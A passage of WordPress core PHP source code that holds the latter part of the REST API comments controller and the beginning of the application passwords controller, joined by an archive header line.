		do_action( 'rest_delete_comment', $comment, $response, $request );

		return $response;
	}

	/**
	 * Prepares a single comment output for response.
	 *
	 * @since 4.7.0
	 * @since 5.9.0 Renamed `$comment` to `$item` to match parent class for PHP 8 named parameter support.
	 *
	 * @param WP_Comment      $item    Comment object.
	 * @param WP_REST_Request $request Request object.
	 * @return WP_REST_Response Response object.
	 */
	public function prepare_item_for_response( $item, $request ) {
		// Restores the more descriptive, specific name for use within this method.
		$comment = $item;

		// Don't prepare the response body for HEAD requests.
		if ( $request->is_method( 'HEAD' ) ) {
			/** This filter is documented in wp-includes/rest-api/endpoints/class-wp-rest-comments-controller.php */
			return apply_filters( 'rest_prepare_comment', new WP_REST_Response( array() ), $comment, $request );
		}

		$fields = $this->get_fields_for_response( $request );
		$data   = array();

		if ( in_array( 'id', $fields, true ) ) {
			$data['id'] = (int) $comment->comment_ID;
		}

		if ( in_array( 'post', $fields, true ) ) {
			$data['post'] = (int) $comment->comment_post_ID;
		}

		if ( in_array( 'parent', $fields, true ) ) {
			$data['parent'] = (int) $comment->comment_parent;
		}

		if ( in_array( 'author', $fields, true ) ) {
			$data['author'] = (int) $comment->user_id;
		}

		if ( in_array( 'author_name', $fields, true ) ) {
			$data['author_name'] = $comment->comment_author;
		}

		if ( in_array( 'author_email', $fields, true ) ) {
			$data['author_email'] = $comment->comment_author_email;
		}

		if ( in_array( 'author_url', $fields, true ) ) {
			$data['author_url'] = $comment->comment_author_url;
		}

		if ( in_array( 'author_ip', $fields, true ) ) {
			$data['author_ip'] = $comment->comment_author_IP;
		}

		if ( in_array( 'author_user_agent', $fields, true ) ) {
			$data['author_user_agent'] = $comment->comment_agent;
		}

		if ( in_array( 'date', $fields, true ) ) {
			$data['date'] = mysql_to_rfc3339( $comment->comment_date );
		}

		if ( in_array( 'date_gmt', $fields, true ) ) {
			$data['date_gmt'] = mysql_to_rfc3339( $comment->comment_date_gmt );
		}

		if ( in_array( 'content', $fields, true ) ) {
			$data['content'] = array(
				/** This filter is documented in wp-includes/comment-template.php */
				'rendered' => apply_filters( 'comment_text', $comment->comment_content, $comment, array() ),
				'raw'      => $comment->comment_content,
			);
		}

		if ( in_array( 'link', $fields, true ) ) {
			$data['link'] = get_comment_link( $comment );
		}

		if ( in_array( 'status', $fields, true ) ) {
			$data['status'] = $this->prepare_status_response( $comment->comment_approved );
		}

		if ( in_array( 'type', $fields, true ) ) {
			$data['type'] = get_comment_type( $comment->comment_ID );
		}

		if ( in_array( 'author_avatar_urls', $fields, true ) ) {
			$data['author_avatar_urls'] = rest_get_avatar_urls( $comment );
		}

		if ( in_array( 'meta', $fields, true ) ) {
			$data['meta'] = $this->meta->get_value( $comment->comment_ID, $request );
		}

		$context = ! empty( $request['context'] ) ? $request['context'] : 'view';
		$data    = $this->add_additional_fields_to_object( $data, $request );
		$data    = $this->filter_response_by_context( $data, $context );

		// Wrap the data in a response object.
		$response = rest_ensure_response( $data );

		if ( rest_is_field_included( '_links', $fields ) || rest_is_field_included( '_embedded', $fields ) ) {
			$response->add_links( $this->prepare_links( $comment ) );
		}

		/**
		 * Filters a comment returned from the REST API.
		 *
		 * Allows modification of the comment right before it is returned.
		 *
		 * @since 4.7.0
		 *
		 * @param WP_REST_Response  $response The response object.
		 * @param WP_Comment        $comment  The original comment object.
		 * @param WP_REST_Request   $request  Request used to generate the response.
		 */
		return apply_filters( 'rest_prepare_comment', $response, $comment, $request );
	}

	/**
	 * Prepares links for the request.
	 *
	 * @since 4.7.0
	 *
	 * @param WP_Comment $comment Comment object.
	 * @return array Links for the given comment.
	 */
	protected function prepare_links( $comment ) {
		$links = array(
			'self'       => array(
				'href' => rest_url( sprintf( '%s/%s/%d', $this->namespace, $this->rest_base, $comment->comment_ID ) ),
			),
			'collection' => array(
				'href' => rest_url( sprintf( '%s/%s', $this->namespace, $this->rest_base ) ),
			),
		);

		if ( 0 !== (int) $comment->user_id ) {
			$links['author'] = array(
				'href'       => rest_url( 'wp/v2/users/' . $comment->user_id ),
				'embeddable' => true,
			);
		}

		if ( 0 !== (int) $comment->comment_post_ID ) {
			$post       = get_post( $comment->comment_post_ID );
			$post_route = rest_get_route_for_post( $post );

			if ( ! empty( $post->ID ) && $post_route ) {
				$links['up'] = array(
					'href'       => rest_url( $post_route ),
					'embeddable' => true,
					'post_type'  => $post->post_type,
				);
			}
		}

		if ( 0 !== (int) $comment->comment_parent ) {
			$links['in-reply-to'] = array(
				'href'       => rest_url( sprintf( '%s/%s/%d', $this->namespace, $this->rest_base, $comment->comment_parent ) ),
				'embeddable' => true,
			);
		}

		// Only grab one comment to verify the comment has children.
		$comment_children = $comment->get_children(
			array(
				'count'   => true,
				'orderby' => 'none',
				'type'    => 'all',
			)
		);

		if ( ! empty( $comment_children ) ) {
			$args = array(
				'parent' => $comment->comment_ID,
			);

			$rest_url = add_query_arg( $args, rest_url( $this->namespace . '/' . $this->rest_base ) );

			$links['children'] = array(
				'href'       => $rest_url,
				'embeddable' => true,
			);
		}

		// Embedding children for notes requires `type` and `status` inheritance.
		if ( isset( $links['children'] ) && 'note' === $comment->comment_type ) {
			$args = array(
				'parent' => $comment->comment_ID,
				'type'   => $comment->comment_type,
				'status' => 'all',
			);

			$rest_url = add_query_arg( $args, rest_url( $this->namespace . '/' . $this->rest_base ) );

			$links['children'] = array(
				'href'       => $rest_url,
				'embeddable' => true,
			);
		}

		return $links;
	}

	/**
	 * Prepends internal property prefix to query parameters to match our response fields.
	 *
	 * @since 4.7.0
	 *
	 * @param string $query_param Query parameter.
	 * @return string The normalized query parameter.
	 */
	protected function normalize_query_param( $query_param ) {
		$prefix = 'comment_';

		switch ( $query_param ) {
			case 'id':
				$normalized = $prefix . 'ID';
				break;
			case 'post':
				$normalized = $prefix . 'post_ID';
				break;
			case 'parent':
				$normalized = $prefix . 'parent';
				break;
			case 'include':
				$normalized = 'comment__in';
				break;
			default:
				$normalized = $prefix . $query_param;
				break;
		}

		return $normalized;
	}

	/**
	 * Checks comment_approved to set comment status for single comment output.
	 *
	 * @since 4.7.0
	 *
	 * @param string $comment_approved Comment status.
	 * @return string Comment status.
	 */
	protected function prepare_status_response( $comment_approved ) {

		switch ( $comment_approved ) {
			case 'hold':
			case '0':
				$status = 'hold';
				break;

			case 'approve':
			case '1':
				$status = 'approved';
				break;

			case 'spam':
			case 'trash':
			default:
				$status = $comment_approved;
				break;
		}

		return $status;
	}

	/**
	 * Prepares a single comment to be inserted into the database.
	 *
	 * @since 4.7.0
	 *
	 * @param WP_REST_Request $request Request object.
	 * @return array|WP_Error Prepared comment, otherwise WP_Error object.
	 */
	protected function prepare_item_for_database( $request ) {
		$prepared_comment = array();

		/*
		 * Allow the comment_content to be set via the 'content' or
		 * the 'content.raw' properties of the Request object.
		 */
		if ( isset( $request['content'] ) && is_string( $request['content'] ) ) {
			$prepared_comment['comment_content'] = trim( $request['content'] );
		} elseif ( isset( $request['content']['raw'] ) && is_string( $request['content']['raw'] ) ) {
			$prepared_comment['comment_content'] = trim( $request['content']['raw'] );
		}

		if ( isset( $request['post'] ) ) {
			$prepared_comment['comment_post_ID'] = (int) $request['post'];
		}

		if ( isset( $request['parent'] ) ) {
			$prepared_comment['comment_parent'] = $request['parent'];
		}

		if ( isset( $request['author'] ) ) {
			$user = new WP_User( $request['author'] );

			if ( $user->exists() ) {
				$prepared_comment['user_id']              = $user->ID;
				$prepared_comment['comment_author']       = $user->display_name;
				$prepared_comment['comment_author_email'] = $user->user_email;
				$prepared_comment['comment_author_url']   = $user->user_url;
			} else {
				return new WP_Error(
					'rest_comment_author_invalid',
					__( 'Invalid comment author ID.' ),
					array( 'status' => 400 )
				);
			}
		}

		if ( isset( $request['author_name'] ) ) {
			$prepared_comment['comment_author'] = $request['author_name'];
		}

		if ( isset( $request['author_email'] ) ) {
			$prepared_comment['comment_author_email'] = $request['author_email'];
		}

		if ( isset( $request['author_url'] ) ) {
			$prepared_comment['comment_author_url'] = $request['author_url'];
		}

		if ( isset( $request['author_ip'] ) && current_user_can( 'moderate_comments' ) ) {
			$prepared_comment['comment_author_IP'] = $request['author_ip'];
		} elseif ( ! empty( $_SERVER['REMOTE_ADDR'] ) && rest_is_ip_address( $_SERVER['REMOTE_ADDR'] ) ) {
			$prepared_comment['comment_author_IP'] = $_SERVER['REMOTE_ADDR'];
		} else {
			$prepared_comment['comment_author_IP'] = '127.0.0.1';
		}

		if ( ! empty( $request['author_user_agent'] ) ) {
			$prepared_comment['comment_agent'] = $request['author_user_agent'];
		} elseif ( $request->get_header( 'user_agent' ) ) {
			$prepared_comment['comment_agent'] = $request->get_header( 'user_agent' );
		}

		if ( ! empty( $request['date'] ) ) {
			$date_data = rest_get_date_with_gmt( $request['date'] );

			if ( ! empty( $date_data ) ) {
				list( $prepared_comment['comment_date'], $prepared_comment['comment_date_gmt'] ) = $date_data;
			}
		} elseif ( ! empty( $request['date_gmt'] ) ) {
			$date_data = rest_get_date_with_gmt( $request['date_gmt'], true );

			if ( ! empty( $date_data ) ) {
				list( $prepared_comment['comment_date'], $prepared_comment['comment_date_gmt'] ) = $date_data;
			}
		}

		/**
		 * Filters a comment added via the REST API after it is prepared for insertion into the database.
		 *
		 * Allows modification of the comment right after it is prepared for the database.
		 *
		 * @since 4.7.0
		 *
		 * @param array           $prepared_comment The prepared comment data for `wp_insert_comment`.
		 * @param WP_REST_Request $request          The current request.
		 */
		return apply_filters( 'rest_preprocess_comment', $prepared_comment, $request );
	}

	/**
	 * Retrieves the comment's schema, conforming to JSON Schema.
	 *
	 * @since 4.7.0
	 *
	 * @return array
	 */
	public function get_item_schema() {
		if ( $this->schema ) {
			return $this->add_additional_fields_schema( $this->schema );
		}

		$schema = array(
			'$schema'    => 'http://json-schema.org/draft-04/schema#',
			'title'      => 'comment',
			'type'       => 'object',
			'properties' => array(
				'id'                => array(
					'description' => __( 'Unique identifier for the comment.' ),
					'type'        => 'integer',
					'context'     => array( 'view', 'edit', 'embed' ),
					'readonly'    => true,
				),
				'author'            => array(
					'description' => __( 'The ID of the user object, if author was a user.' ),
					'type'        => 'integer',
					'context'     => array( 'view', 'edit', 'embed' ),
				),
				'author_email'      => array(
					'description' => __( 'Email address for the comment author.' ),
					'type'        => 'string',
					'format'      => 'email',
					'context'     => array( 'edit' ),
					'arg_options' => array(
						'sanitize_callback' => array( $this, 'check_comment_author_email' ),
						'validate_callback' => null, // Skip built-in validation of 'email'.
					),
				),
				'author_ip'         => array(
					'description' => __( 'IP address for the comment author.' ),
					'type'        => 'string',
					'format'      => 'ip',
					'context'     => array( 'edit' ),
				),
				'author_name'       => array(
					'description' => __( 'Display name for the comment author.' ),
					'type'        => 'string',
					'context'     => array( 'view', 'edit', 'embed' ),
					'arg_options' => array(
						'sanitize_callback' => 'sanitize_text_field',
					),
				),
				'author_url'        => array(
					'description' => __( 'URL for the comment author.' ),
					'type'        => 'string',
					'format'      => 'uri',
					'context'     => array( 'view', 'edit', 'embed' ),
				),
				'author_user_agent' => array(
					'description' => __( 'User agent for the comment author.' ),
					'type'        => 'string',
					'context'     => array( 'edit' ),
					'arg_options' => array(
						'sanitize_callback' => 'sanitize_text_field',
					),
				),
				'content'           => array(
					'description' => __( 'The content for the comment.' ),
					'type'        => 'object',
					'context'     => array( 'view', 'edit', 'embed' ),
					'arg_options' => array(
						'sanitize_callback' => null, // Note: sanitization implemented in self::prepare_item_for_database().
						'validate_callback' => null, // Note: validation implemented in self::prepare_item_for_database().
					),
					'properties'  => array(
						'raw'      => array(
							'description' => __( 'Content for the comment, as it exists in the database.' ),
							'type'        => 'string',
							'context'     => array( 'edit' ),
						),
						'rendered' => array(
							'description' => __( 'HTML content for the comment, transformed for display.' ),
							'type'        => 'string',
							'context'     => array( 'view', 'edit', 'embed' ),
							'readonly'    => true,
						),
					),
				),
				'date'              => array(
					'description' => __( "The date the comment was published, in the site's timezone." ),
					'type'        => 'string',
					'format'      => 'date-time',
					'context'     => array( 'view', 'edit', 'embed' ),
				),
				'date_gmt'          => array(
					'description' => __( 'The date the comment was published, as GMT.' ),
					'type'        => 'string',
					'format'      => 'date-time',
					'context'     => array( 'view', 'edit' ),
				),
				'link'              => array(
					'description' => __( 'URL to the comment.' ),
					'type'        => 'string',
					'format'      => 'uri',
					'context'     => array( 'view', 'edit', 'embed' ),
					'readonly'    => true,
				),
				'parent'            => array(
					'description' => __( 'The ID for the parent of the comment.' ),
					'type'        => 'integer',
					'context'     => array( 'view', 'edit', 'embed' ),
					'default'     => 0,
				),
				'post'              => array(
					'description' => __( 'The ID of the associated post object.' ),
					'type'        => 'integer',
					'context'     => array( 'view', 'edit' ),
					'default'     => 0,
				),
				'status'            => array(
					'description' => __( 'State of the comment.' ),
					'type'        => 'string',
					'context'     => array( 'view', 'edit' ),
					'arg_options' => array(
						'sanitize_callback' => 'sanitize_key',
					),
				),
				'type'              => array(
					'description' => __( 'Type of the comment.' ),
					'type'        => 'string',
					'context'     => array( 'view', 'edit', 'embed' ),
					'readonly'    => true,
					'default'     => 'comment',
				),
			),
		);

		if ( get_option( 'show_avatars' ) ) {
			$avatar_properties = array();

			$avatar_sizes = rest_get_avatar_sizes();

			foreach ( $avatar_sizes as $size ) {
				$avatar_properties[ $size ] = array(
					/* translators: %d: Avatar image size in pixels. */
					'description' => sprintf( __( 'Avatar URL with image size of %d pixels.' ), $size ),
					'type'        => 'string',
					'format'      => 'uri',
					'context'     => array( 'embed', 'view', 'edit' ),
				);
			}

			$schema['properties']['author_avatar_urls'] = array(
				'description' => __( 'Avatar URLs for the comment author.' ),
				'type'        => 'object',
				'context'     => array( 'view', 'edit', 'embed' ),
				'readonly'    => true,
				'properties'  => $avatar_properties,
			);
		}

		$schema['properties']['meta'] = $this->meta->get_field_schema();

		$this->schema = $schema;

		return $this->add_additional_fields_schema( $this->schema );
	}

	/**
	 * Retrieves the query params for collections.
	 *
	 * @since 4.7.0
	 *
	 * @return array Comments collection parameters.
	 */
	public function get_collection_params() {
		$query_params = parent::get_collection_params();

		$query_params['context']['default'] = 'view';

		$query_params['after'] = array(
			'description' => __( 'Limit response to comments published after a given ISO8601 compliant date.' ),
			'type'        => 'string',
			'format'      => 'date-time',
		);

		$query_params['author'] = array(
			'description' => __( 'Limit result set to comments assigned to specific user IDs. Requires authorization.' ),
			'type'        => 'array',
			'items'       => array(
				'type' => 'integer',
			),
		);

		$query_params['author_exclude'] = array(
			'description' => __( 'Ensure result set excludes comments assigned to specific user IDs. Requires authorization.' ),
			'type'        => 'array',
			'items'       => array(
				'type' => 'integer',
			),
		);

		$query_params['author_email'] = array(
			'default'     => null,
			'description' => __( 'Limit result set to that from a specific author email. Requires authorization.' ),
			'format'      => 'email',
			'type'        => 'string',
		);

		$query_params['before'] = array(
			'description' => __( 'Limit response to comments published before a given ISO8601 compliant date.' ),
			'type'        => 'string',
			'format'      => 'date-time',
		);

		$query_params['exclude'] = array(
			'description' => __( 'Ensure result set excludes specific IDs.' ),
			'type'        => 'array',
			'items'       => array(
				'type' => 'integer',
			),
			'default'     => array(),
		);

		$query_params['include'] = array(
			'description' => __( 'Limit result set to specific IDs.' ),
			'type'        => 'array',
			'items'       => array(
				'type' => 'integer',
			),
			'default'     => array(),
		);

		$query_params['offset'] = array(
			'description' => __( 'Offset the result set by a specific number of items.' ),
			'type'        => 'integer',
		);

		$query_params['order'] = array(
			'description' => __( 'Order sort attribute ascending or descending.' ),
			'type'        => 'string',
			'default'     => 'desc',
			'enum'        => array(
				'asc',
				'desc',
			),
		);

		$query_params['orderby'] = array(
			'description' => __( 'Sort collection by comment attribute.' ),
			'type'        => 'string',
			'default'     => 'date_gmt',
			'enum'        => array(
				'date',
				'date_gmt',
				'id',
				'include',
				'post',
				'parent',
				'type',
			),
		);

		$query_params['parent'] = array(
			'default'     => array(),
			'description' => __( 'Limit result set to comments of specific parent IDs.' ),
			'type'        => 'array',
			'items'       => array(
				'type' => 'integer',
			),
		);

		$query_params['parent_exclude'] = array(
			'default'     => array(),
			'description' => __( 'Ensure result set excludes specific parent IDs.' ),
			'type'        => 'array',
			'items'       => array(
				'type' => 'integer',
			),
		);

		$query_params['post'] = array(
			'default'     => array(),
			'description' => __( 'Limit result set to comments assigned to specific post IDs.' ),
			'type'        => 'array',
			'items'       => array(
				'type' => 'integer',
			),
		);

		$query_params['status'] = array(
			'default'           => 'approve',
			'description'       => __( 'Limit result set to comments assigned a specific status. Requires authorization.' ),
			'sanitize_callback' => 'sanitize_key',
			'type'              => 'string',
			'validate_callback' => 'rest_validate_request_arg',
		);

		$query_params['type'] = array(
			'default'           => 'comment',
			'description'       => __( 'Limit result set to comments assigned a specific type. Requires authorization.' ),
			'sanitize_callback' => 'sanitize_key',
			'type'              => 'string',
			'validate_callback' => 'rest_validate_request_arg',
		);

		$query_params['password'] = array(
			'description' => __( 'The password for the post if it is password protected.' ),
			'type'        => 'string',
		);

		/**
		 * Filters REST API collection parameters for the comments controller.
		 *
		 * This filter registers the collection parameter, but does not map the
		 * collection parameter to an internal WP_Comment_Query parameter. Use the
		 * `rest_comment_query` filter to set WP_Comment_Query parameters.
		 *
		 * @since 4.7.0
		 *
		 * @param array $query_params JSON Schema-formatted collection parameters.
		 */
		return apply_filters( 'rest_comment_collection_params', $query_params );
	}

	/**
	 * Sets the comment_status of a given comment object when creating or updating a comment.
	 *
	 * @since 4.7.0
	 *
	 * @param string|int $new_status New comment status.
	 * @param int        $comment_id Comment ID.
	 * @return bool Whether the status was changed.
	 */
	protected function handle_status_param( $new_status, $comment_id ) {
		$old_status = wp_get_comment_status( $comment_id );

		if ( $new_status === $old_status ) {
			return false;
		}

		switch ( $new_status ) {
			case 'approved':
			case 'approve':
			case '1':
				$changed = wp_set_comment_status( $comment_id, 'approve' );
				break;
			case 'hold':
			case '0':
				$changed = wp_set_comment_status( $comment_id, 'hold' );
				break;
			case 'spam':
				$changed = wp_spam_comment( $comment_id );
				break;
			case 'unspam':
				$changed = wp_unspam_comment( $comment_id );
				break;
			case 'trash':
				$changed = wp_trash_comment( $comment_id );
				break;
			case 'untrash':
				$changed = wp_untrash_comment( $comment_id );
				break;
			default:
				$changed = false;
				break;
		}

		return $changed;
	}

	/**
	 * Checks if the post can be read.
	 *
	 * Correctly handles posts with the inherit status.
	 *
	 * @since 4.7.0
	 *
	 * @param WP_Post         $post    Post object.
	 * @param WP_REST_Request $request Request data to check.
	 * @return bool Whether post can be read.
	 */
	protected function check_read_post_permission( $post, $request ) {
		$post_type = get_post_type_object( $post->post_type );

		// Return false if custom post type doesn't exist
		if ( ! $post_type ) {
			return false;
		}

		$posts_controller = $post_type->get_rest_controller();

		/*
		 * Ensure the posts controller is specifically a WP_REST_Posts_Controller instance
		 * before using methods specific to that controller.
		 */
		if ( ! $posts_controller instanceof WP_REST_Posts_Controller ) {
			$posts_controller = new WP_REST_Posts_Controller( $post->post_type );
		}

		$has_password_filter = false;

		// Only check password if a specific post was queried for or a single comment
		$requested_post    = ! empty( $request['post'] ) && ( ! is_array( $request['post'] ) || 1 === count( $request['post'] ) );
		$requested_comment = ! empty( $request['id'] );
		if ( ( $requested_post || $requested_comment ) && $posts_controller->can_access_password_content( $post, $request ) ) {
			add_filter( 'post_password_required', '__return_false' );

			$has_password_filter = true;
		}

		if ( post_password_required( $post ) ) {
			$result = current_user_can( 'edit_post', $post->ID );
		} else {
			$result = $posts_controller->check_read_permission( $post );
		}

		if ( $has_password_filter ) {
			remove_filter( 'post_password_required', '__return_false' );
		}

		return $result;
	}

	/**
	 * Checks if the comment can be read.
	 *
	 * @since 4.7.0
	 *
	 * @param WP_Comment      $comment Comment object.
	 * @param WP_REST_Request $request Request data to check.
	 * @return bool Whether the comment can be read.
	 */
	protected function check_read_permission( $comment, $request ) {
		if ( 'note' !== $comment->comment_type && ! empty( $comment->comment_post_ID ) ) {
			$post = get_post( $comment->comment_post_ID );
			if ( $post ) {
				if ( $this->check_read_post_permission( $post, $request ) && 1 === (int) $comment->comment_approved ) {
					return true;
				}
			}
		}

		if ( 0 === get_current_user_id() ) {
			return false;
		}

		if ( empty( $comment->comment_post_ID ) && ! current_user_can( 'moderate_comments' ) ) {
			return false;
		}

		if ( ! empty( $comment->user_id ) && get_current_user_id() === (int) $comment->user_id ) {
			return true;
		}

		return current_user_can( 'edit_comment', $comment->comment_ID );
	}

	/**
	 * Checks if a comment can be edited or deleted.
	 *
	 * @since 4.7.0
	 *
	 * @param WP_Comment $comment Comment object.
	 * @return bool Whether the comment can be edited or deleted.
	 */
	protected function check_edit_permission( $comment ) {
		if ( 0 === (int) get_current_user_id() ) {
			return false;
		}

		if ( current_user_can( 'moderate_comments' ) ) {
			return true;
		}

		return current_user_can( 'edit_comment', $comment->comment_ID );
	}

	/**
	 * Checks a comment author email for validity.
	 *
	 * Accepts either a valid email address or empty string as a valid comment
	 * author email address. Setting the comment author email to an empty
	 * string is allowed when a comment is being updated.
	 *
	 * @since 4.7.0
	 *
	 * @param string          $value   Author email value submitted.
	 * @param WP_REST_Request $request Full details about the request.
	 * @param string          $param   The parameter name.
	 * @return string|WP_Error The sanitized email address, if valid,
	 *                         otherwise an error.
	 */
	public function check_comment_author_email( $value, $request, $param ) {
		$email = (string) $value;
		if ( empty( $email ) ) {
			return $email;
		}

		$check_email = rest_validate_request_arg( $email, $request, $param );
		if ( is_wp_error( $check_email ) ) {
			return $check_email;
		}

		return $email;
	}

	/**
	 * If empty comments are not allowed, checks if the provided comment content is not empty.
	 *
	 * @since 5.6.0
	 *
	 * @param array $prepared_comment The prepared comment data.
	 * @return bool True if the content is allowed, false otherwise.
	 */
	protected function check_is_comment_content_allowed( $prepared_comment ) {
		if ( ! isset( $prepared_comment['comment_content'] ) ) {
			return true;
		}

		$check = wp_parse_args(
			$prepared_comment,
			array(
				'comment_post_ID'      => 0,
				'comment_author'       => null,
				'comment_author_email' => null,
				'comment_author_url'   => null,
				'comment_parent'       => 0,
				'user_id'              => 0,
			)
		);

		/** This filter is documented in wp-includes/comment.php */
		$allow_empty = apply_filters( 'allow_empty_comment', false, $check );

		if ( $allow_empty ) {
			return true;
		}

		// Allow empty notes only when resolution metadata is valid.
		if (
			isset( $check['comment_type'] ) &&
			'note' === $check['comment_type'] &&
			isset( $check['meta']['_wp_note_status'] ) &&
			in_array( $check['meta']['_wp_note_status'], array( 'resolved', 'reopen' ), true )
		) {
			return true;
		}

		/*
		 * Do not allow a comment to be created with missing or empty
		 * comment_content. See wp_handle_comment_submission().
		 */
		return '' !== $check['comment_content'];
	}

	/**
	 * Check if post type supports notes.
	 *
	 * @param string $post_type Post type name.
	 * @return bool True if post type supports notes, false otherwise.
	 */
	private function check_post_type_supports_notes( $post_type ) {
		$supports = get_all_post_type_supports( $post_type );
		if ( ! isset( $supports['editor'] ) ) {
			return false;
		}
		if ( ! is_array( $supports['editor'] ) ) {
			return false;
		}
		foreach ( $supports['editor'] as $item ) {
			if ( ! empty( $item['notes'] ) ) {
				return true;
			}
		}
		return false;
	}
}
endpoints/class-wp-rest-application-passwords-controller.php000066600000057376152442706000020517 0ustar00<?php
/**
 * REST API: WP_REST_Application_Passwords_Controller class
 *
 * @package    WordPress
 * @subpackage REST_API
 * @since      5.6.0
 */

/**
 * Core class to access a user's application passwords via the REST API.
 *
 * @since 5.6.0
 *
 * @see   WP_REST_Controller
 */
class WP_REST_Application_Passwords_Controller extends WP_REST_Controller {

	/**
	 * Application Passwords controller constructor.
	 *
	 * @since 5.6.0
	 */
	public function __construct() {
		$this->namespace = 'wp/v2';
		$this->rest_base = 'users/(?P<user_id>(?:[\d]+|me))/application-passwords';
	}

	/**
	 * Registers the REST API routes for the application passwords controller.
	 *
	 * @since 5.6.0
	 */
	public function register_routes() {
		register_rest_route(
			$this->namespace,
			'/' . $this->rest_base,
			array(
				array(
					'methods'             => WP_REST_Server::READABLE,
					'callback'            => array( $this, 'get_items' ),
					'permission_callback' => array( $this, 'get_items_permissions_check' ),
					'args'                => $this->get_collection_params(),
				),
				array(
					'methods'             => WP_REST_Server::CREATABLE,
					'callback'            => array( $this, 'create_item' ),
					'permission_callback' => array( $this, 'create_item_permissions_check' ),
					'args'                => $this->get_endpoint_args_for_item_schema(),
				),
				array(
					'methods'             => WP_REST_Server::DELETABLE,
					'callback'            => array( $this, 'delete_items' ),
					'permission_callback' => array( $this, 'delete_items_permissions_check' ),
				),
				'schema' => array( $this, 'get_public_item_schema' ),
			)
		);

		register_rest_route(
			$this->namespace,
			'/' . $this->rest_base . '/introspect',
			array(
				array(
					'methods'             => WP_REST_Server::READABLE,
					'callback'            => array( $this, 'get_current_item' ),
					'permission_callback' => array( $this, 'get_current_item_permissions_check' ),
					'args'                => array(
						'context' => $this->get_context_param( array( 'default' => 'view' ) ),
					),
				),
				'schema' => array( $this, 'get_public_item_schema' ),
			)
		);

		register_rest_route(
			$this->namespace,
			'/' . $this->rest_base . '/(?P<uuid>[\w\-]+)',
			array(
				array(
					'methods'             => WP_REST_Server::READABLE,
					'callback'            => array( $this, 'get_item' ),
					'permission_callback' => array( $this, 'get_item_permissions_check' ),
					'args'                => array(
						'context' => $this->get_context_param( array( 'default' => 'view' ) ),
					),
				),
				array(
					'methods'             => WP_REST_Server::EDITABLE,
					'callback'            => array( $this, 'update_item' ),
					'permission_callback' => array( $this, 'update_item_permissions_check' ),
					'args'                => $this->get_endpoint_args_for_item_schema( WP_REST_Server::EDITABLE ),
				),
				array(
					'methods'             => WP_REST_Server::DELETABLE,
					'callback'            => array( $this, 'delete_item' ),
					'permission_callback' => array( $this, 'delete_item_permissions_check' ),
				),
				'schema' => array( $this, 'get_public_item_schema' ),
			)
		);
	}

	/**
	 * Checks if a given request has access to get application passwords.
	 *
	 * @since 5.6.0
	 *
	 * @param WP_REST_Request $request Full details about the request.
	 * @return true|WP_Error True if the request has read access, WP_Error object otherwise.
	 */
	public function get_items_permissions_check( $request ) {
		$user = $this->get_user( $request );

		if ( is_wp_error( $user ) ) {
			return $user;
		}

		if ( ! current_user_can( 'list_app_passwords', $user->ID ) ) {
			return new WP_Error(
				'rest_cannot_list_application_passwords',
				__( 'Sorry, you are not allowed to list application passwords for this user.' ),
				array( 'status' => rest_authorization_required_code() )
			);
		}

		return true;
	}

	/**
	 * Retrieves a collection of application passwords.
	 *
	 * @since 5.6.0
	 *
	 * @param WP_REST_Request $request Full details about the request.
	 * @return WP_REST_Response|WP_Error Response object on success, or WP_Error object on failure.
	 */
	public function get_items( $request ) {
		$user = $this->get_user( $request );

		if ( is_wp_error( $user ) ) {
			return $user;
		}

		$passwords = WP_Application_Passwords::get_user_application_passwords( $user->ID );
		$response  = array();

		foreach ( $passwords as $password ) {
			$response[] = $this->prepare_response_for_collection(
				$this->prepare_item_for_response( $password, $request )
			);
		}

		return new WP_REST_Response( $response );
	}

	/**
	 * Checks if a given request has access to get a specific application password.
	 *
	 * @since 5.6.0
	 *
	 * @param WP_REST_Request $request Full details about the request.
	 * @return true|WP_Error True if the request has read access for the item, WP_Error object otherwise.
	 */
	public function get_item_permissions_check( $request ) {
		$user = $this->get_user( $request );

		if ( is_wp_error( $user ) ) {
			return $user;
		}

		if ( ! current_user_can( 'read_app_password', $user->ID, $request['uuid'] ) ) {
			return new WP_Error(
				'rest_cannot_read_application_password',
				__( 'Sorry, you are not allowed to read this application password.' ),
				array( 'status' => rest_authorization_required_code() )
			);
		}

		return true;
	}

	/**
	 * Retrieves one application password from the collection.
	 *
	 * @since 5.6.0
	 *
	 * @param WP_REST_Request $request Full details about the request.
	 * @return WP_REST_Response|WP_Error Response object on success, or WP_Error object on failure.
	 */
	public function get_item( $request ) {
		$password = $this->get_application_password( $request );

		if ( is_wp_error( $password ) ) {
			return $password;
		}

		return $this->prepare_item_for_response( $password, $request );
	}

	/**
	 * Checks if a given request has access to create application passwords.
	 *
	 * @since 5.6.0
	 *
	 * @param WP_REST_Request $request Full details about the request.
	 * @return true|WP_Error True if the request has access to create items, WP_Error object otherwise.
	 */
	public function create_item_permissions_check( $request ) {
		$user = $this->get_user( $request );

		if ( is_wp_error( $user ) ) {
			return $user;
		}

		if ( ! current_user_can( 'create_app_password', $user->ID ) ) {
			return new WP_Error(
				'rest_cannot_create_application_passwords',
				__( 'Sorry, you are not allowed to create application passwords for this user.' ),
				array( 'status' => rest_authorization_required_code() )
			);
		}

		return true;
	}

	/**
	 * Creates an application password.
	 *
	 * @since 5.6.0
	 *
	 * @param WP_REST_Request $request Full details about the request.
	 * @return WP_REST_Response|WP_Error Response object on success, or WP_Error object on failure.
	 */
	public function create_item( $request ) {
		$user = $this->get_user( $request );

		if ( is_wp_error( $user ) ) {
			return $user;
		}

		$prepared = $this->prepare_item_for_database( $request );

		if ( is_wp_error( $prepared ) ) {
			return $prepared;
		}

		$created = WP_Application_Passwords::create_new_application_password( $user->ID, wp_slash( (array) $prepared ) );

		if ( is_wp_error( $created ) ) {
			return $created;
		}

		$password = $created[0];
		$item     = WP_Application_Passwords::get_user_application_password( $user->ID, $created[1]['uuid'] );

		$item['new_password'] = WP_Application_Passwords::chunk_password( $password );
		$fields_update        = $this->update_additional_fields_for_object( $item, $request );

		if ( is_wp_error( $fields_update ) ) {
			return $fields_update;
		}

		/**
		 * Fires after a single application password is completely created or updated via the REST API.
		 *
		 * @since 5.6.0
		 *
		 * @param array           $item     Inserted or updated password item.
		 * @param WP_REST_Request $request  Request object.
		 * @param bool            $creating True when creating an application password, false when updating.
		 */
		do_action( 'rest_after_insert_application_password', $item, $request, true );

		$request->set_param( 'context', 'edit' );
		$response = $this->prepare_item_for_response( $item, $request );

		$response->set_status( 201 );
		$response->header( 'Location', $response->get_links()['self'][0]['href'] );

		return $response;
	}

	/**
	 * Checks if a given request has access to update application passwords.
	 *
	 * @since 5.6.0
	 *
